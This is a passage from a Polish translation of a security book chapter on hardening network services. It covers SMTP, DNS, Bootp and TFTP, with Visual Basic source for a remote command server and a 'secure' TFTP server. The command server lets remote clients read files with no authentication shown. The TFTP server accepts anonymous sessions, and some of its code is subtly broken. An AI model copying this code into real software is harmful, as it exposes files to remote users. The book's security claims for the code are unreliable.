              Else Winsock1.SendData "C:\>" 
            Command = "" 
            Exit Sub 
        End If 
        If LCase(Command) = "cd." Then 
            Dir1.Path = "." 
            If Dir1.Path <> "C:\" Then Winsock1.SendData 
UCase(Dir1.Path) & "\>"  
              Else Winsock1.SendData "C:\>" 
            Command = "" 
            Exit Sub 
        End If 
        If LCase(Command) = "dir" Then 
            Dim Lenght As Integer 
            For i = 0 To Dir1.ListCount - 1 
            Winsock1.SendData Dir1.List(i) & "     <DIR>" & vbCrLf 
            Next 
            For i = O To File1.ListCount 
            Winsock1.SendData File1.List(i) & vbCrLf 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

35 

 

35

 

            Next 
            If Dir1.Path <> "C:\" Then Winsock1.SendData 
UCase(Dir1.Path) & "\>"  
            Else Winsock1.SendData "C:\>" 
            Command = "" 
            Exit Sub 
        End If 
        If LCase(Left(Command, 4)) = "view" Then 
            U = Right(Command, Len(Command) - 5) 
            On Error GoTo err1 
            If Dir1.Path = "C:\" Then 
            Open "C:\" & U For Input As #1 
            Do Until EOF(1) 
            Line Input #1, O 
            Winsock1.SendData O & vbCrLf 
            Loop 
            Close #1 
            Else 
            Open Dir1.Path & "\" & U For Input As #1 
            Do Until EOF(1) 
            Line Input #1, O 
            Winsock1.SendData O & vbCrLf 
            Loop 
            Close #1 
            End If 
            If Dir1.Path <> "C:\" Then Winsock1.SendData 
UCase(Dir1.Path) & "\>"  
            Else Winsock1.SendData "C:\>" 
            Command = "" 
            Exit Sub 
err1: 
            Winsock1.SendData Err.Description & vbCrLf 
            If Dir1.Path <> "C:\" Then Winsock1.SendData 
UCase(Dir1.Path) & "\>"  
            Else Winsock1.SendData "C:\>" 
            Command = "" 
            Exit Sub 
        End If 
        If LCase(Left(Command, 2)) = "cd" And LCase(Left(Command, 3)) 
<> "cd." And  
        LCase(Left(Command, 3)) <> "cd\" And Len(Command) > 3 Then 
        U = Right(Command, Len(Command) - 3) 
            On Error GoTo err1 
            If Dir1.Path <> "C:\" Then Dir1.Path = Dir1.Path & "\" & 
U Else  
            Dir1.Path = Dir1.Path & U 
            If Dir1.Path <> "C:\" Then Winsock1.SendData 
UCase(Dir1.Path) & "\>"   
            Else Winsock1.SendData "C:\>" 
            Command = "" 
            Exit Sub 
        End If 
        If LCase(Command) = "cd\" Then 
            Dir1.Path = "C:\" 
            If Dir1.Path <> "C:\" Then Winsock1.SendData 
UCase(Dir1.Path) & "\>"  
            Else Winsock1.SendData "C:\>" 
            Command = "" 
            Exit Sub 
        End If 
        If LCase(Command) = "quit" Then 

background image

 
36 

Hack Wars. Tom 2. Na tropie hakerów 

36 

 

            Winsock1.SendData "Goodbye!" & vbCrLf 
            Winsock1_Close 
            Command = "" 
            Exit Sub 
        End If 
        If LCase(Command) = "help" Then 
            Open App.Path & "\help.txt" For Input As #1 
            Do Until EOF(1) 
            Line Input #1, E 
            Winsock1.SendData E & vbCrLf 
            Loop 
            Close #1 
            If Dir1.Path <> "C:\" Then Winsock1.SendData 
UCase(Dir1.Path) & "\>"  
            Else Winsock1.SendData "C:\>" 
            Command = "" 
            Exit Sub 
        End If 
        Winsock1.SendData "Wrong Command!" & vbCrLf & "Type help for 
help" & vbCrLf 
        If Dir1.Path <> "C:\" Then Winsock1.SendData UCase(Dir1.Path) 
& "\>" Else  
        Winsock1.SendData "C:\>" 
    End If 
Command = "" 
Else 
Command = Command & Data 
End If 
End Sub 

Port 25: SMTP 

JeŜeli czytaliśmy pierwszy tom, łatwo przypomnimy sobie, Ŝe protokół SMTP (Simple 
Mail Transfer Protocol
), prosty protokół przesyłania poczty) to najczęściej stosowany 
w Internecie protokół przekazywania poczty  elektronicznej.  Demony SMTP prowadzą 
nasłuch (oczekują na pocztę) na porcie 25, po czym kopiują odebrane wiadomości do 
odpowiednich  skrzynek  i  katalogów  uŜytkowników.  Usługa  ta  najbardziej  podatna 
jest na ataki określane terminami: bombardowanie (ang. mail bombing) i spamming
jak równieŜ róŜnego rodzaju ataki typu Denial of Service (uniemoŜliwienie działania). 
W dalszych rozdziałach zajmiemy się tymi technikami i przeciwdziałaniem im nieco 
szerzej. Tymczasem skoncentrujmy się na ogólnych środkach ochrony usługi. 

Gdy uŜytkownik wysyła pocztę ze swojego komputera, serwery nazw domen (DNS) 
usługodawcy  internetowego  (ISP)  przekazują  zapytanie  dotyczące  wiadomości  do 
głównych  klastrów  DNS  Internetu.  Serwery  te  tłumaczą  nazwę  domeny  (drugą  część 
adresu elektronicznego, po znaku „@”) na adres IP. Przykładowo, w adresie e-mail 

john@xyz-inc.com

,  część 

xyz-inc.com

  zostaje  odwzorowana  do  pewnego  publicznego 

adresu  IP.  Adres  ten  reprezentuje  lokalizację  serwera  DNS,  który  posiada  informację, 
gdzie naleŜy przekazać pocztę kierowaną do 

@xyz-inc.com

. Informacja ta zawarta jest 

w rekordzie wymiany poczty (MX, Mail Exchange). Ten wskazuje kolejny adres IP. Jest 
to najczęściej adres serwera poczty, który prowadzi nasłuch na porcie 25, w oczekiwaniu 
wiadomości przesyłanych do 

@xyx-inc.com

 (patrz rysunek 1.16). 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

37 

 

37

 

Rysunek 1.16.  
Cykl Ŝycia 
wiadomo
ści 
pocztowej 

 

 

Standardowo, w systemach UNIX usługa SMTP pozostaje wyłączona. Nie jest równieŜ 
standardem w systemach Windows. Gdy jej obecność jest wymagana, zaleca się modyfi-
kację  komunikatu  powitalnego  tak,  aby  nie  ujawniał  niepotrzebnych  informacji. 
Podobnie jak w przypadku innych demonów usług, warto zadbać o osłonę, wykorzystu-
jąc  Tcp_wrapper  (opisany  na  wcześniejszych  stronach,  wraz  z  zabezpieczeniami 
usługi Telnet). 

Dla  ochrony  przed  nieautoryzowanym  i  szkodliwym  wykorzystaniem  usługi  SMTP, 
waŜnym  czynnikiem  jest  jej  skonfigurowanie  jako  bramy  przekazującej  wiadomości 
e-mail wyłącznie z lokalnej domeny pocztowej. Demon nie powinien odbierać Ŝadnych 
Ŝą

dań przekazania poczty pochodzących z zewnątrz. Warto polecić równieŜ szczegóło-

we  rejestrowanie,  połączone  z  odpowiednim  zabezpieczaniem  danych  archiwalnych 
— ułatwi to usuwanie przyszłych awarii i moŜe zostać wykorzystane jako dowód w po-
stępowaniu przeciwko włamywaczowi. 

NajwaŜniejszą jednak techniką stosowaną przez Tiger Team w odniesieniu do serwerów 
SMTP i usług rezydentnych jest procedura SMTP-NAT-DMZ. NAT to skrót oznaczający 
translację adresów sieciowych (ang. network address translation). Jest ona realizowana 
najczęściej przez zaporę firewall lub router dostępowy. Polega na zamianie wewnętrznego 
adresu IP w adres internetowy (publiczny) i odwrotnie. Rozwiązaniem zapewniającym 
ochronę sieci będzie statyczna translacja pomiędzy  adresami  wewnętrznymi (lokalnymi) 

background image

 
38 

Hack Wars. Tom 2. Na tropie hakerów 

38 

 

i zewnętrznymi (internetowymi), połączona z ograniczeniem dostępu do określonych 
portów i związanych z nimi usług. Ilustruje to rysunek 1.17.

  

Rysunek 1.17.  
Mechanizm  
SMTP-NAT  

 

 

Rysunek przedstawia serwer SMTP pracujący w sieci lokalnej, którą chroni zapora fire-
wall. W takim  układzie, zapora przeprowadza translację internetowego adresu  serwera 
SMTP do jego adresu wewnętrznego, dzięki czemu serwer pozostaje osiągalny dla poczty 
nadchodzącej spoza sieci lokalnej. W zaleŜności od przyjętych przy konfigurowaniu za-
pory zasad ochrony sieci, rozwiązanie tego rodzaju moŜe być stosunkowo bezpieczne. 
Jeszcze  lepszy  mechanizm  uzyskamy  jednak  wówczas,  gdy  wprowadzimy  tzw.  strefę 
zdemilitaryzowaną, czyli DMZ (demilitarized zone). 

Koncepcja  DMZ  wprowadza  jeszcze  jedną  sieć,  poza  zaporą,  jednak  oddzieloną  od 
wewnętrznej sieci lokalnej. Dzięki temu, w przypadku, gdy próba przełamania barier 
ochronnych serwera SMTP zakończy się sukcesem, osoba nieupowaŜniona w dalszym 
ciągu nie uzyska dostępu do wewnętrznej sieci LAN (patrz rysunek 1.18). W obu przy-
padkach zapora przeprowadza translację NAT i filtrowanie, dopuszczając komunikację 
z serwerem SMTP  wyłącznie przez port 25. Serwer skonfigurowany jest oczywiście 
jako brama przekazująca wiadomości e-mail z lokalnej domeny pocztowej. W Ŝadnym 
przypadku demon nie przyjmuje Ŝądań przekazania poczty pochodzących z zewnątrz. 

 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

39 

 

39

 

Rysunek 1.18.  
Układ  
SMTP-NAT-DMZ 

 

 

Port 53: Domain 

Zadaniem usługi nazw domen (DNS, Domain Name Service), określanej równieŜ jako 
Bind,  jest  translacja  nazw  domen  na  odpowiadające  im  adresy  IP.  Jak  opisano  to 
w pierwszym  tomie  niniejszej  ksiąŜki,  przesyłane  Internetem  datagramy  korzystają 
z adresów. Wynika stąd, Ŝe zawsze, gdy pojawia się nazwa domeny, demon usługi DNS 
musi  wykonać  jej  przekształcenie  na  adres  IP.  Najprostszą  ilustracją  tej  zaleŜności 
moŜe być sytuacja, gdy wprowadzamy nazwę domeny, np. 

TigerTools.net

, w przeglądarce 

WWW. Serwer DNS dostarcza wówczas odpowiednie mapowanie, łączące nazwę z adre-
sem, i tam właśnie kierowany jest uŜytkownik. Tej samej procedury wymaga dostarczanie 
poczty SMTP, tworzenie połączeń FTP, zdalny dostęp przy uŜyciu Telnetu i inne formy 
komunikacji. 

Usługa Domain nie jest w pełni standardem w systemach operacyjnych. W systemie 
Windows NT trzeba zadbać o jej zainstalowanie, w systemach UNIX wymaga niezaleŜnej 
kompilacji. Gdy korzystanie z niej jest niezbędne, zaleca się skorzystanie z usług ISP 
albo  umieszczenie  serwera  poza  zaporą  firewall,  w  strefie  (sieci)  DMZ  (sieci  DMZ 
opisano w części poświęconej ochronie portu 25, SMTP). Istotna jest równieŜ aktualizacja 
do najnowszej wersji oprogramowania. 

JeŜeli  wykupienie obsługi DNS u usługodawcy internetowego nie jest rozwiązaniem 
wystarczającym, pozostają rozwiązania realizowane we własnym zakresie. NaleŜy pamię-
tać o dwóch środkach zapobiegającym naduŜyciom: 









 

Odwrotne zapytania DNS. NaleŜy zapewnić, aby demon DNS zapewniał 
realizację odwrotnych wyszukiwań DNS, aby zabezpieczyć się przed przejęciem 
kontroli nad serwerem DNS i odwzorowywaniem nieuprawnionej stacji jako 
bezpiecznej. 









 

Informacje o wersji oprogramowania DNS. Z oczywistych powodów, 
warto zadbać o zmodyfikowanie modułu demona DNS tak, aby nie udostępniał 
na zewnątrz informacji o wersji oprogramowania usługi. Dane te moŜna 
często uzyskać korzystając ze standardowych zapytań DNS. W tym zakresie 

background image

 
40 

Hack Wars. Tom 2. Na tropie hakerów 

40 

 

pomocny powinien być opisywany w pierwszym tomie niniejszej ksiąŜki 
TigerSuite (patrz rysunek 1.19). 

Rysunek 1.19.  
Ujawniane dane DNS 

 

 

Port 67: Bootp 

Demon  usługi  Bootp  umoŜliwia  bezdyskowej  stacji  roboczej  uzyskanie  własnego 
adresu IP. Serwer Bootp zarządza tym procesem opierając się na, kierowanych do bazy 
danych,  zapytaniach.  Kluczem  danych  w  bazie  są  składniki  sprzętowe  stacji  roboczej 
lub jej adres MAC. 

Poza omawianymi w dalszej części ksiąŜki technikami zabezpieczającymi przed zwo-
dzeniem (ang. spoofing) i przepełnianiem (ang. flooding), podstawowym czynnikiem 
jest odpowiednie przygotowanie listy węzłów. Demon musi posiadać taką listę (operującą 
adresami  MAC).  Określa  ona,  które  ze  stacji  uprawnione  zostały  do  otrzymywania 
danych z serwera Bootp. Ponadto, podobnie jak w przypadku wielu innych demonów 
usług,  warto  zadbać  o  osłonę  usługi  przy  uŜyciu  narzędzia  Tcp_wrapper,  opisanego 
wcześniej,  przy  opisie  zabezpieczania  protokołu  Telnet.  Odpowiednią  modyfikację 
pliku 

inetd.conf

 przedstawiono na rysunku 1.20. 

Rysunek 1.20.  
Osłanianie portu 67 
i usługi Bootp 

 

 

Port 69: TFTP 

Nie będzie chyba niespodzianką stwierdzenie, Ŝe ta uproszczona wersja demona FTP 
powinna zostać wyłączona lub stosowana wyłącznie w lokalnych, „godnych zaufania” 
segmentach sieci. Brak mechanizmów zabezpieczeń i róŜnorodne wady w licznych 
odmianach demona TFTP sprawiają, Ŝe niemal kaŜdy uŜytkownik Internetu, korzystając 
z prostych technik, pobrać moŜe kopie takich plików jak 

/etc/passwd

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

41 

 

41

 

Oznaczenie wiersza opisującego usługę TFTP w pliku 

/etc/inetd.conf

 jako komentarza 

zapewni  dezaktywację  demona.  Nie  moŜna  oczywiście  zapomnieć  o  restarcie  inetd 
lub całego systemu operacyjnego. W systemach Windows, modyfikujemy konfigurację 
uruchomieniową lub przerywamy pracę procesu aktywnego, co opisano w części poświę-
conej zabezpieczeniu portu 21 (FTP). 

Gdy demon TFTP musi pracować w systemie, zadbać naleŜy o uzyskanie jego najnowszej 
wersji oraz zastosować osłonę. To ostatnie opisano w części, w której piszemy o zabez-
pieczaniu portu 23 (Telnet). 

Tiger TFTP 

Przedstawimy  teraz  oprogramowanie  TigerTFTPServ  —  rozwiązanie  dla  domowych 
i prywatnych  uŜytkowników  Windows,  którzy  pragną  wysokiego  poziomu  kontroli 
pracy protokołu (patrz rysunek 1.21). Program moŜe być bez ograniczeń modyfikowany, 
rozpowszechniany i  stosowany. TigerTFTPServ to  uproszczona  wersja oprogramowania 
FTP, prowadząca nasłuch w oczekiwaniu Ŝądań połączeń na porcie 69. Zgodnie z wy-
tycznymi protokołu TFTP, program dopuszcza co  najwyŜej jeden  strumień połączenia 
(największa  dopuszczalna  liczba  połączeń  moŜe  zostać  zmieniona  w  drodze  prostej 
modyfikacji kodu) z jednym katalogiem, wykorzystywanym przy przesyłaniu plików. 
Kod moŜe zostać poprawiony tak, aby akceptowani byli uŜytkownicy uwierzytelnieni; 
naleŜy jednak zauwaŜyć, Ŝe przedstawiona wersja obsługuje sesje anonimowe. W skład 
narzędzia  wchodzi  analizator  sesji,  pozwalający  monitorować  wszystkie  transakcje 
z katalogu 

c:\tftp

Rysunek 1.21.  
Bezpieczny demon 
TFTP dla Windows  
— TigerTFTPServ 

 

 

Formularz główny 

Option Explicit 

Public WithEvents FTPServer As Server 
 
Private Sub Command1_Click() 
StartServer 
End Sub 
 
Private Sub Command2_Click() 

background image

 
42 

Hack Wars. Tom 2. Na tropie hakerów 

42 

 

  StopServer 
End Sub 
 
Private Sub Command3_Click() 
   Unload Me 
   End 
End Sub 
 
Private Sub Form_Load() 
    Set FTPServer = New Server 
    Set frmWinsock.FTPServer = FTPServer 
 
End Sub 
 
Public Sub Form_Resize() 
    On Error Resume Next 
    txtSvrLog.Width = (frmMain.Width - 120) 
    txtSvrLog.Height = (frmMain.Height - 690) 
End Sub 
 
Public Sub Form_UnLoad(Cancel As Integer) 
    StopServer 
    Set FTPServer = Nothing 
    Set frmWinsock.FTPServer = Nothing 
    Unload frmWinsock 
    Unload Me 
    Set frmWinsock = Nothing 
    Set frmMain = Nothing 
    End 
End Sub 

Private Sub FTPServer_ServerStarted() 
    WriteToLogWindow "Listening!", True 
End Sub 
 
Private Sub FTPServer_ServerStopped() 
    WriteToLogWindow "Stopped!", True 
End Sub 

 

Private Sub FTPServer_ServerErrorOccurred(ByVal errNumber As 

Long) 

    MsgBox FTPServer.ServerGetErrorDescription(errNumber), 

vbInformation,  

    "Error occured!" 
End Sub 
 
Private Sub FTPServer_NewClient(ByVal ClientID As Long) 
    WriteToLogWindow "Client " & ClientID & " connected! (" &  
    FTPServer.GetClientIPAddress(ClientID) & ")", True 
End Sub 

Private Sub FTPServer_ClientSentCommand(ByVal ClientID As Long, 

Command As String, Args As String) 

          WriteToLogWindow "Client " & ClientID & " sent: " & 

Command & " "  

          & Args, True 
End Sub 

 

Private Sub FTPServer_ClientStatusChanged(ByVal ClientID As Long) 
    WriteToLogWindow "Client " & ClientID & " Status: " &  
    FTPServer.GetClientStatus(ClientID), True 
End Sub 

 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

43 

 

43

 

Private Sub FTPServer_ClientLoggedOut(ByVal ClientID As Long) 
    WriteToLogWindow "Client " & ClientID & " logged out!", True 
End Sub 

Winsock 

Option Explicit 

Public WithEvents FTPServer As Server 

 

Private Sub CommandSock_ConnectionRequest(Index As Integer, ByVal 

requestID As Long) 

    DoEvents 
    FTPServer.NewClient requestID 
End Sub 

 

Private Sub DataSock_ConnectionRequest(Index As Integer, ByVal 

requestID As Long) 

    DoEvents 
    DataSock(Index).Close 
    DataSock(Index).Accept requestID 
End Sub 

 

Private Sub CommandSock_DataArrival(Index As Integer, ByVal 

bytesTotal As Long) 

    DoEvents 
    Dim raw_data As String 
    CommandSock(Index).GetData raw_data 
    FTPServer.ProcFTPCommand Index, raw_data 
End Sub 

Private Sub DataSock_SendComplete(Index As Integer) 
    DoEvents 
    FTPServer.SendComplete Index 
End Sub 

Private Sub CommandSock_Close(Index As Integer) 
    DoEvents 
    FTPServer.LogoutClient , Index 
End Sub 

Funkcje 

Option Explicit 

 

Public Sub WriteToLogWindow(strString As String, Optional TimeStamp 

As Boolean) 

    Dim strTimeStamp As String 
    Dim tmpText As String 
    If TimeStamp = True Then strTimeStamp = "[" & Now & "] " 
    tmpText = frmMain.txtSvrLog.Text 
    If Len(tmpText) > 20000 Then tmpText = Right$(tmpText, 20000) 
    frmMain.txtSvrLog.Text = tmpText & vbCrLf & strTimeStamp & 

strString 

    frmMain.txtSvrLog.SelStart = Len(frmMain.txtSvrLog.Text) 
End Sub 

Public Function StripNulls(strString As Variant) As String 
    If InStr(strString, vbNullChar) Then 
        StripNulls = Left(strString, InStr(strString, vbNullChar) - 

1) 

    Else 
        StripNulls = strString 
    End If 
End Function 

background image

 
44 

Hack Wars. Tom 2. Na tropie hakerów 

44 

 

Sterowanie portem 

Option Explicit 

 
Public Sub StartServer() 
    Dim r As Long 
    With frmMain 
        .FTPServer.ListeningPort = 69 
        .FTPServer.ServerMaxClients = 1 
        r = .FTPServer.StartServer() 
        If r <> 0 Then 
            MsgBox .FTPServer.ServerGetErrorDescription(r), 

vbCritical 

        End If 
    End With 
End Sub 
 
Public Sub StopServer() 
    frmMain.FTPServer.ShutdownServer 
End Sub 

Aparat serwera 

Option Explicit 

Private Port As Long 
Private MaxClients As Integer 
Private TransferBufferSize As Long 
Private ClientCounter As Long 
Private ConnectedClients As Long 
Private ServerActive As Boolean 
Private Enum ClientStatus 
    stat_IDLE = 0 
    stat_LOGGING_IN = 1 
    stat_GETTING_DIR_LIST = 2 
    stat_UPLOADING = 3 
    stat_DOWNLOADING = 4 
End Enum 
 
Private Enum ConnectModes 
    cMode_NORMAL = 0 
    cMode_PASV = 1 
End Enum 
 
Private Type ftpClient 
 
    inUse As Boolean 
    ID As Long 
    UserName As String 
    IPAddress As String 
    DataPort As Long 
    ConnectedAt As String 
    IdleSince As String 
    TotalBytesUploaded As Long 
    TotalBytesDownloaded As Long 
    TotalFilesUploaded As Long 
    TotalFilesDownloaded As Long 
    CurrentFile As String 
    cFileTotalBytes As Long 
    cTotalBytesXfer As Long 
    fFile As Long 
    ConnectMode As ConnectModes 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

45 

 

45

 

    HomeDir As String 
    CurrentDir As String 
    Status As ClientStatus 
 
End Type 
 
Private Const MAX_IDLE_TIME = 900 
Private Const MAX_CONNECTIONS = 500 
Private client(MAX_CONNECTIONS) As ftpClient 
Public Event ServerErrorOccurred(ByVal errNumber As Long) 
Public Event ServerStarted() 
Public Event ServerStopped() 
Public Event NewClient(ByVal ClientID As Long) 
Public Event ClientLoggedIn(ByVal ClientID As Long) 
Public Event ClientLoggedOut(ByVal ClientID As Long) 
Public Event ClientSentCommand(ByVal ClientID As Long, Command As 
String, Args As String) 
Public Event ClientStatusChanged(ByVal ClientID As Long) 
Private Declare Function FindFirstFile Lib "kernel32" Alias 

"FindFirstFileA" ( _ 

    ByVal lpFileName As String, _ 
    lpFindFileData As WIN32_FIND_DATA _ 
    ) As Long 
Private Declare Function FindNextFile Lib "kernel32" Alias 

"FindNextFileA" ( _ 

    ByVal hFindFile As Long, _ 
    lpFindFileData As WIN32_FIND_DATA _ 
    ) As Long 
Private Declare Function FileTimeToSystemTime Lib "kernel32" ( _ 
    lpFileTime As FILETIME, _ 
    lpSystemTime As SYSTEMTIME _ 
    ) As Long 
Private Type FILETIME 
    dwLowDateTime As Long 
    dwHighDateTime As Long 
End Type 
Private Declare Function FindClose Lib "kernel32" ( _ 
    ByVal hFindFile As Long _ 
    ) As Long 
Private Const MAX_PATH = 260 
Private Type WIN32_FIND_DATA 
    dwFileAttributes As Long 
    ftCreationTime As FILETIME 
    ftLastAccessTime As FILETIME 
    ftLastWriteTime As FILETIME 
    nFileSizeHigh As Long 
    nFileSizeLow As Long 
    dwReserved0 As Long 
    dwReserved1 As Long 
    cFileName As String * MAX_PATH 
    cAlternate As String * 14 
End Type 
Private Type SYSTEMTIME 
    wYear As Integer 
    wMonth As Integer 
    wDayOfWeek As Integer 
    wDay As Integer 
    wHour As Integer 
    wMinute As Integer 
    wSecond As Integer 
    wMilliseconds As Long 

background image

 
46 

Hack Wars. Tom 2. Na tropie hakerów 

46 

 

End Type 
 
Public Property Get ListeningPort() As Long 
    ListeningPort = Port 
End Property 
 
Public Property Let ListeningPort(NewPort As Long) 
    If Port = 0 Then 
        Port = NewPort 
    End If 
End Property 
 
Public Property Get ServerMaxClients() As Integer 
    ServerMaxClients = MaxClients 
End Property 
 
Public Property Let ServerMaxClients(Max As Integer) 
    If Max >= 0 Then 
        MaxClients = Max 
    End If 
End Property 

Public Property Get TransBufferSize() As Long 
    TransBufferSize = TransferBufferSize 
End Property 

Public Property Let TransBufferSize(BuffSize As Long) 
    If BuffSize > 0 Then 
        TransferBufferSize = BuffSize 
    End If 
End Property 
 
Public Property Get CurrentConnectedClients() As Long 
    CurrentConnectedClients = ConnectedClients 
End Property 
 
Public Property Get CurrentClientCounter() As Long 
    CurrentClientCounter = ClientCounter 
End Property 
 
Public Property Get GetClientConnectedAt(ClientID As Long) As 

String 

    GetClientConnectedAt = 

client(GetClientArrayLocByID(ClientID)).ConnectedAt 

End Property 

Public Property Get GetClientConnectMode(ClientID As Long) As 

String 

    GetClientConnectMode = 

client(GetClientArrayLocByID(ClientID)).ConnectMode 

End Property 

 

Public Property Get GetClientcTotalBytesXfer(ClientID As Long) As 

Long 

    GetClientcTotalBytesXfer = 

client(GetClientArrayLocByID(ClientID)).cTotalBytesXfer 

End Property 

 

Public Property Get GetClientcFileTotalBytes(ClientID As Long) As 

Long 

    GetClientcFileTotalBytes = 

client(GetClientArrayLocByID(ClientID)).cFileTotalBytes 

End Property 

 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

47 

 

47

 

Public Property Get GetClientCurrentDir(ClientID As Long) As String 
    GetClientCurrentDir = 

client(GetClientArrayLocByID(ClientID)).CurrentDir 

End Property 

 

Public Property Get GetClientCurrentFile(ClientID As Long) As 

String 

    GetClientCurrentFile = 

client(GetClientArrayLocByID(ClientID)).CurrentFile 

End Property 

 

Public Property Get GetClientDataPort(ClientID As Long) As Long 
    GetClientDataPort = 

client(GetClientArrayLocByID(ClientID)).DataPort 

End Property 

 

Public Property Get GetClientfFile(ClientID As Long) As Long 
    GetClientfFile = client(GetClientArrayLocByID(ClientID)).fFile 
End Property 

 

Public Property Get GetClientHomeDir(ClientID As Long) As String 
    GetClientHomeDir = 

client(GetClientArrayLocByID(ClientID)).HomeDir 

End Property 

 

Public Property Get GetClientIdleSince(ClientID As Long) As Long 
    GetClientIdleSince = 

client(GetClientArrayLocByID(ClientID)).IdleSince 

End Property 

Public Property Get GetClientIPAddress(ClientID As Long) As String 
    GetClientIPAddress = 

client(GetClientArrayLocByID(ClientID)).IPAddress 

End Property 

Public Property Get GetClientStatus(ClientID As Long) As String 
    GetClientStatus =  
    

ServerGetClientStatusDescription(client(GetClientArrayLocByID(
ClientID)).Status) 

End Property 

 

Public Property Get GetClientTotalBytesDownloaded(ClientID As Long) 

As Long 

    GetClientTotalBytesDownloaded =  
    client(GetClientArrayLocByID(ClientID)).TotalBytesDownloaded 
End Property 
 
Public Property Get GetClientTotalBytesUploaded(ClientID As Long) 

As Long 

    GetClientTotalBytesUploaded =  
    client(GetClientArrayLocByID(ClientID)).TotalBytesUploaded 
End Property 
 
Public Property Get GetClientTotalFilesDownloaded(ClientID As Long) 

As Long 

    GetClientTotalFilesDownloaded =  
    client(GetClientArrayLocByID(ClientID)).TotalFilesDownloaded 
End Property 

Public Property Get GetClientTotalFilesUploaded(ClientID As Long) 

As Long 

    GetClientTotalFilesUploaded =  
    client(GetClientArrayLocByID(ClientID)).TotalFilesUploaded 

background image

 
48 

Hack Wars. Tom 2. Na tropie hakerów 

48 

 

End Property 

 

Public Property Get GetClientUserName(ClientID As Long) As String 
    GetClientUserName = 

client(GetClientArrayLocByID(ClientID)).UserName 

End Property 

 

Public Function StartServer() As Long 
    If ServerActive = True Then 
        StartServer = 1001 
        Exit Function 
    End If 
    If Port < 1 Then 
        StartServer = 1002 
        Exit Function 
    End If 
    If TransferBufferSize < 1 Then TransferBufferSize = 4096 
    With frmWinsock.CommandSock(0) 
        .LocalPort = Port 
        .Listen 
    End With 
    ServerActive = True 
    RaiseEvent ServerStarted 
End Function 

 

Public Sub NewClient(requestID As Long) 
    Dim tmpID As Long 
    Dim i As Integer 
    ConnectedClients = ConnectedClients + 1 
    ClientCounter = ClientCounter + 1 
    tmpID = ClientCounter 
    Do 
        i = i + 1 
    Loop Until client(i).inUse = False 
    With client(i) 
        .inUse = True 
        Load frmWinsock.CommandSock(i) 
        Load frmWinsock.DataSock(i) 
        frmWinsock.CommandSock(i).Accept requestID 
        .ConnectedAt = Now 
        .ID = tmpID 
        .Status = stat_LOGGING_IN 
        .IdleSince = Now 
        .IPAddress = frmWinsock.CommandSock(i).RemoteHostIP 
    End With 
    RaiseEvent NewClient(client(i).ID) 
    If ((ConnectedClients > MaxClients) And (MaxClients <> 0)) Or 

(ConnectedClients > MAX_CONNECTIONS) Then 

        SendResponse i, "421 Too many users - try again later." 
        LogoutClient , i 
        Exit Sub 
    End If 
    SendResponse i, "220 P1mp FTP Engine version " & App.Major & ".0" 

& App.Minor & " build " & App.Revision 

End Sub 

 

Private Sub SendResponse(sckArrayLoc As Integer, data As String) 
    frmWinsock.CommandSock(sckArrayLoc).SendData data & vbCrLf 
    DoEvents 
End Sub 

 

Private Sub SendData(sckArrayLoc As Integer, data As String) 
    frmWinsock.DataSock(sckArrayLoc).SendData data 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

49 

 

49

 

End Sub 

 

Public Sub SendComplete(sckArrayLoc As Integer) 
    With client(sckArrayLoc) 
        Select Case .Status 
            Case stat_GETTING_DIR_LIST 
                frmWinsock.DataSock(sckArrayLoc).Close 
                SendResponse sckArrayLoc, "226 Transfer complete." 
                .Status = stat_IDLE 
                RaiseEvent ClientStatusChanged(.ID) 
  

 

            Case stat_DOWNLOADING 
                If .cFileTotalBytes = .cTotalBytesXfer Then 
                    Close #.fFile 
                    frmWinsock.DataSock(sckArrayLoc).Close 
                    .DataPort = 0 
                    SendResponse sckArrayLoc, "226 Transfer 

complete." 

                    .cFileTotalBytes = 0 
                    .cTotalBytesXfer = 0 
                    .Status = stat_IDLE 
                    RaiseEvent ClientStatusChanged(.ID) 
                Else 
                    SendFile sckArrayLoc 
                End If 
        End Select 
    End With 
End Sub 

Private Sub LoginClient(cArrayLoc As Integer, Password As String) 
    With client(cArrayLoc) 
        .HomeDir = "C:\TFTP" 
        .CurrentDir = .HomeDir 
        SendResponse cArrayLoc, "230 User logged in, proceed." 
        .Status = stat_IDLE 
    End With 
    RaiseEvent ClientLoggedIn(ByVal client(cArrayLoc).ID) 
    RaiseEvent ClientStatusChanged(ByVal client(cArrayLoc).ID) 
End Sub 
 
Public Sub LogoutClient(Optional ByVal ID As Long, Optional cArrayLoc 

As Integer) 

    On Error Resume Next 
    If ID = 0 And cArrayLoc = 0 Then Exit Sub 
    Dim ArrayPos As Integer 
    Dim tmp As Long 
    If ID = 0 Then 
        ArrayPos = cArrayLoc 
    Else 
        ArrayPos = GetClientArrayLocByID(ID) 
    End If 
    If client(ArrayPos).ID = 0 Then Exit Sub 
    If ArrayPos < 1 Then Exit Sub 
    With client(ArrayPos) 
        frmWinsock.CommandSock(ArrayPos).Close 
        frmWinsock.DataSock(ArrayPos).Close 
        Unload frmWinsock.CommandSock(ArrayPos) 
        Unload frmWinsock.DataSock(ArrayPos) 
        If .fFile <> 0 Then Close #.fFile 
        .ConnectedAt = "" 
        .ConnectMode = 0 
        .cTotalBytesXfer = 0 

background image

 
50 

Hack Wars. Tom 2. Na tropie hakerów 

50 

 

        .cFileTotalBytes = 0 
        .CurrentDir = "" 
        .CurrentFile = "" 
        .DataPort = 0 
        .fFile = 0 
        .HomeDir = "" 
        tmp = .ID 
        .ID = 0 
        .IdleSince = "" 
        .IPAddress = "" 
        .Status = stat_IDLE 
        .TotalBytesDownloaded = 0 
        .TotalBytesUploaded = 0 
        .TotalFilesDownloaded = 0 
        .TotalFilesUploaded = 0 
        .UserName = "" 
        .inUse = False 
    End With 

 

    If ConnectedClients > 0 Then ConnectedClients = 

ConnectedClients - 1 

    RaiseEvent ClientLoggedOut(ByVal tmp) 

 

End Sub 

 

Private Function GetClientArrayLocByID(ByVal ID As Long) As Integer 
    Dim i As Integer 

    For i = 0 To UBound(client) 
        If client(i).ID = ID Then 
            GetClientArrayLocByID = i 
            Exit Function 
        End If 
    Next 
    GetClientArrayLocByID = -1 

 

End Function 

 

